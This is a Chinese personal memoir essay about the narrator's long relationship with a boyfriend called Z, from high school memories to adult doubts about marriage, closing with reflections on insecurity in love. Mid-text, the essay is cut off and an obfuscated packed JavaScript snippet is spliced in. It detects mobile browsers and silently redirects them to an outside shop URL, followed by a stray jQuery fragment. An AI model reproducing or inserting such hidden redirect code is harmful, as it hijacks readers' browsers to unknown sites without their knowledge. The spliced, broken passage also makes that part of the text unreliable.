过了很久，我才意识到，每次回老家感慨这座城市的变化，许多往日参照，都是与Z同在的场景。
二三年，闺蜜的弟弟考上Y中，闺蜜妈妈在Y中附近租了房子，位置不是很好，但也找不到更好的了，学区房难租。
我又去了那家商超，终于完成人生第一次看望长辈独自选购礼品。
我以前大概真是一个非常不懂事的人吧，那是国庆，记得提着东西去找闺蜜，把开门的阿姨惊坏了，问我怎么买这么多东西。
安在房间卷头发，笑嘻嘻说：“苏苏总赚大钱啦！”
我说以前都空手过来白吃白喝住好久，阿姨都拿我当亲女儿一样，一点心意而已。
阿姨收下东西说，哎呀你以前也老给安买礼物，家里杯子堆得跟山一样，她都说是你送的，你们两个从小学跳舞就认识，都多少年了，你来阿姨家就跟自己家一样，下次别买这些东西了。
我和卷头发的安，对视一眼，她看戏似的笑，她还没来得及告诉她妈妈，其实那些杯子根本不是我送的，只是以前不想暴露早恋的托词。
阿姨就先提到Z，问我是不是要跟男朋友考虑结婚了。
我糊弄过去。
春节前看完他爷爷，当晚在我家楼下就大吵一架，预想中的双方父母见面成了再也没影的事。
后来过了春节，我和Z的关系虽然缓和过来，但和以前再也不一样了，是鸡蛋被煮熟定型后再也不可能逆转的“不一样”。
翻便签记录，那年三月我去了上海。
大学时，Z就一直催我去打九价，我一拖再拖，说嫌麻烦，说怕打针。
他一提再提，说女生越早打越好，最后到这一年，他直接约好医院，通知我必须过来，说买好车票订好酒店，他会来车站接我，所有行程都安排好了，不见他的任何亲人朋友，只是打疫苗，随我愿意在这里玩几天，保证不麻烦。
那时候，我们之间也不算太坏，只要Z不提结婚和未来，仍像正常情侣，一旦提了，轻则冷场，重则冷战。
我们不再像以前那样什么话都说，好像有种微妙的氛围炸弹埋在我们之间，见面依旧开心，但不知道从什么时候就开始“话里有话”。
我大学来过几次上海，也去过Z在上海的家，每次来都不给好评，一如他曾经评价我的老家。
不一样的是，我安慰他，他就开心了，他安慰我，我持续抬杠。
Z问我为什么不喜欢这里。
我说：这里生活节奏快，压力大。
Z就说：以后又不要你工作赚钱，你会有什么压力，你享受生活不就行了。
我说：享受不了，出门总堵车，待在这里就烦。
Z说：一线城市就是这样，北京也这样，容易堵车就算是一个缺点，但是不是也有优点，比如医疗条件好……
我把脸扭去看车窗外面，Z就知道我不想听了，接着车里就会陷入让彼此都不舒服的沉默。
那次也一样，打完针，从思南路出来，Z缓慢开着车，介绍落叶不扫，永不拓道的百年老街，很漂亮，值得来逛一逛，有个思南书局，你应该会喜欢。
我不接话，说：还不是照样堵车。
然后不出意外地陷入沉默。
后来去吃饭，上了一个高架，更是堵得不能动弹，但那天上海的晚霞特别好看，我们就安静坐在车里，车载音响放着歌，每一首我都很熟悉。
我问Z：你不是喜欢周杰伦吗？什么时候开始听韩文歌了，你的歌单跟我的好像。
Z说：因为这就是你的歌单啊。
我惊讶，我从来不分享自己喜欢的音乐。
Z解释说：音乐软件上能看到你在听什么，是喜欢周杰伦，但更喜欢你。
虽然车流一动不动，但晚霞更好看了，车里放的歌，是李遐怡的《能听见我的心吗》。
高中班里放恐怖片的晚自习，我因为害怕，趴在桌上一直单曲循环的也是这首歌。
我喜欢这首歌很多年。
密集堵塞的车流上空，有飞机飞过，很低很近，我说：“怎么飞得这么低啊。”
Z故意说：“怎么，现在连上海的飞机也要讨厌啦？”
我扭头瞪他，他就笑了。
然后把我的手拉过去，在手背上亲了一下。
气氛好像又重新好了。
等餐的时候，我托着腮，他看着我说：你总是懒洋洋的，看到你我也懒洋洋的。
那阵子可能太敏感，Z说的任何话，我都要往“他是不是想改变我？”这方面想。
当时以为他在挑剔我，就有点不开心说：我没做任何事，也没有要求你跟我一样。
Z解释说不是，我的意思是，只要一看到你，我就很放松，懒洋洋的，你不用做任何事我就会这样。
之后留在上海的时间都很开心，但无济于事，“结婚和未来”仍如一个巨大的隐患。
甚至到国庆，我父母觉得从春节到现在，我跟Z已经好了，应该按原来的计划推进，对我拒绝Z国庆来我家的请求，大为不满。
我的回复是：没必要。
对Z，对父母，都这样说。
等安卷好头发，安的弟弟补课回来了，Y中居然换了新校服，当时很想发信息告诉Z，想吐槽新校服好难看，跟我们那届的根本不能比。
但因为拒绝他国庆来我家拜访我父母，我们前天刚在电话里不欢而散，所以也就作罢。
但心里仍想到许多过去的事。
我们那届是蓝白色的运动服，搭白衬衫，因为年轻开明的班主任，我们班还定做了班服，在一些校集体活动日，比如运动会，我们就会穿班服。
我记忆最深的是高二的运动会，记忆深是因为留下的照片多。
但实物照片只有一张。
那是我们班一个喜欢摄影的女生洗出来送给我的，她那天带相机来操场记录，喊“苏苏看一下镜头”，照片里，我便牵着气球，另一只手比耶微笑。
我留着齐肩短发和那时候正流行的空气刘海，身后不远处，Z侧站，扶着我们班红色的班旗，运动会，背景里的操场很多人，但他依然远而最醒目。
这张照片是我带回家的唯一一张高中照片，可能是觉得有意义，我妈妈用相框裱了，一直摆在我房间的桌上。
我和安一本正经分析Y中更换校服的原因，说我们那时候的校服一看，校服像情侣装，新版换成了荧光橙和深蓝撞色的冲锋衣款式，又土又扎眼，哪怕男女穿上站一起，也只会像是一块去大街上捡垃圾完成社会实践的。
结论是：新校服是杜绝早恋的利器。
安的弟弟在旁边听了，表示很受伤，错过了好时代。
阿姨打听我高中租过的房子，问还能不能租，我说那是我爸爸一个朋友的房子，这些年，一直宁愿空着也不租，说是他家儿子大了随时可能会结婚，一租三年很麻烦。
阿姨说我那时候住的地方好，出门就是学校，早上至少能比其他人多睡十五分钟。
是挺近的。
记忆里，我好几次，赖床赖到快六点五十，刷牙洗脸换鞋出门，一路狂奔，能擦着七点的早读铃，一边喘一边进班。
每次我这样进来，Z就在后排看着我，然后第二节课结束的大课间，他就会去食堂给我买早餐。
有一次，我在趴在班级门口的栏杆上，一边晒太阳，一边吃面包，大课间走廊闹腾，有人串班，有人追逐打闹。
那位烟花兄啃着掉渣饼晃过来，喊我：苏爷，在喝奶茶啊？
Z在这个学校交到的朋友都挺中二，这位“烟花兄”和转班去楼下的“花蝴蝶”都不正常喊我的名字，他们有理有据，说喊Z“哥”，我比Z更厉害，必须大一个辈分。
我说：喝奶茶怎么了？
烟花兄神秘兮兮凑过来说：你知道为什么每次Z都给你买红豆奶茶吗？
我啃面包啜奶茶说：不知道啊，红豆奶茶挺好喝的。
烟花兄说：因为红豆奶茶在食堂的饮品窗口，菜单牌上写的是“相思奶茶”，懂了吧？
当时就是震惊，不信。
上体育课，自由活动时间拉着六六特意去食堂看，真的是“相思奶茶”，六六也第一次发现，在旁边说好妙，红豆生南国，此物最相思。
上大学之后，我和安难得回老家相聚，所以拒绝了阿姨留在家吃饭的请求，出门打车去新广场那边。
她家为了陪读刚搬过来，安对这片不是很熟，对我说：“你对这边应该很熟吧？”
我说，也不是很熟了，只晓得这边房价涨了不少。
司机师傅忽然搭话，说现在不涨啦，都在跌，就前面的碧桂园好一点。
安就问：“你高中有个暑假是不是经常去碧桂园找Z啊？我记得有一次你还喊我过来，游泳吗？”
是的，游泳。
高一暑假Z回了上海，为了能早点回来，想尽理由往返，高二暑假就以需要补课之名，留在了这边。Z说他爸爸完全看出来了，意味深长说“喜欢补课就好好补，开学要是没进步再找你算账”，就成全了他。
我们上午一起去补课，下午我睡醒，就去健身房找他，健身房旁边有阅读书吧和一些室内球场，但我懒得动，就坐在休息区喝饮料陪他。
他说我没有参与感。
后来不知道怎么聊到，他来教我学游泳，他说游泳很简单。
我第一天下水就呛到鼻子痛，第二天就知难而退，火速放弃。
但后面还是来了很多次。
陪Z，他游泳，我在浅水区活动，或者就坐在泳池边踢踢水。
有一次他把我拽下来，移到深水区，他假装放手，我害怕，只好扑过去抱他。
那种程度的肢体接触，对我们来说太超过了，彼此都害羞起来，他要更不自然一点。
然后我就装生气说：“快把我弄上去，我不玩了。”
就是在这个泳池，我故意问过Z一个十分老土俗气的问题。
据说是男性的世纪难题。
——假如我和你妈妈同时掉到水里你先救谁？<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17808394|210703||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>当时纯粹是开玩笑。
但至今记得他当时站在泳池里的反应。
他先愣了一下，然后抹了一把脸上的水，露出有点难过的样子。
他说，他忽然觉得他很对不起他妈妈，他妈妈那么爱他，可他第一反应，居然还是觉得我是更重要的。
看到他这样，我也觉得难过，立马跳下去，抓住他的手，安慰他：不会的，不会发生这样的情况，我只是开玩笑，你妈妈很爱你，你也很爱她就好了。
十年后，我们再聊到当年在碧桂园学游泳的事，Z完全记不起来这部分了，说只记得每次游完泳，我要去买一个菠萝汉堡，只吃里面的菠萝。
还有一次出来，撞见英语老师，我们两个立马狗狗祟祟从室外滑梯那边跑掉，然后还是去买菠萝汉堡，还是只吃菠萝。
英语老师这段我不太清楚了，但是菠萝汉堡记忆深刻，因为我把失去菠萝的汉堡塞给他，他说把这个吃了就白健身了，但还是象征性的咬了口，再丢掉。
Z不记得泳池那段了，甚至想不起来我问过那样俗气的问题，也不记得自己的回答。
有时，我也会朝自己叹气，觉得自己真是一个很没劲的人，放弃就释怀，得到就珍惜，这两点，我都没办法干脆做到。
曾在《空白页》里写：就像踩上水中的汀步，蹑步而行时，人总是既希望稳稳踏过，又幻想着猝然落水。
我似乎也是如此。
即使在美好时刻，也要预想下一秒可能会破碎。
人不够沉浸就不够开心。
年少时，Z说“我更重要”，我很感动，但仍在心里暗存保留，觉得十几岁的情话也不能太当真吧。
十年后，面对他搜索记忆的茫然，我问他：“那你现在面对这个的答案是什么？会觉得很为难吗？这个问题好像是有点神经病，如果换成别人来问我——”
“先救你。”
已经回答了，但Z仍像在继续思考，说：“这个问题的确很难回答，我不知道如果真的有这样的情况，我到底会怎么反应，但是在脑子想这个问题，我觉得，你是最重要的，其他的，我再想办法。”
人要如何叩问真心才会觉得满意呢？
还是永远都不会满意？
是不是要在爱脱口而出的一瞬，人就死掉，才能证明永恒？
什么是永恒呢？
值得人这样用试探和猜忌去追逐一生。
今年姐姐跟我聊到，不明白为什么有些人对亲近之人，就是要说反话说重话。
这个问题，我有一点发言权。
有些人不是天生悲观，甚至可能也不涉及什么童年创伤或是家庭阴影，纯粹是一种可能自己都没有察觉到的权衡。
比如，别人说爱她，她就在心里往坏处想，假的，或者，是真的也肯定爱不长久。
她一定要这样去想。
她绝不可能百分百的雀跃开心，心想：有人爱我，好耶，应该会一直爱。
“损失厌恶”，指人们面对同等损失和收益时，对损失的敏感程度更高，带来的负面情绪强度至少是收益的两倍。
有时候，不是人不愿意相信美好，而且下意识想把风险损失降到最小。这种选“相信你一直爱我”和“觉得你可能会变心”，就像一种下注策略。
第一种，选“相信你一直爱我”，会面临两种结果：
一，一直爱，对预料到的事，人往往反应平平。
二，变心了，这是没预料到的事，震惊，伤心，天塌了。
第二种，选“觉得你可能会变心”，也会面临同样两种结果。
一，变心了，早已预料，没有震惊，伤心也很小，天不会塌。
二，一直爱，这是没预料到的事，惊喜，开心，无限幸福。
对于这种权衡思维的人来说，不是傻子都会选第二种，于是就有了许许多多的“说反话”“说重话”。
旁观者能看出来这是在破坏关系，但身处其中的人意识不到，这是她的本能告诉她的“最好的选择”。
朋友今年感慨，说感觉现在不幸福的人好多。
我说，保持幸福本来就不是一件容易的事，正是因为幸福不易，幸福才如此珍贵。
很多时候，我们都说不出清楚自己为什么会不幸福，当我们怨怪别人，为什么不能做得更好，给足我们安全感，让我们放心去爱的时候，压根意识不到，自己其实永远做不到百分百沉浸，无论对方做再多，也不会放心去爱的。
一疑永疑，怀疑爱的人永远得不到爱。
爱总是陡然降临，但彼此“看见”可能是一个漫长又痛苦的过程。
我以为我生下来就会爱，我爱父母，我爱朋友。甚至，我在自己的小说里写过“喜欢就不会太辛苦”这样乐天的话。
但实际上，玛丽苏世界简化了人性的复杂程度，真实世界里，有血有肉有脾气的两个人，就像两个缝隙不同齿轮试图嵌合，想要一直爱下去，良知，勇气，智慧，恒心，缺一不可，其中一项有所欠缺，都会爱得很辛苦。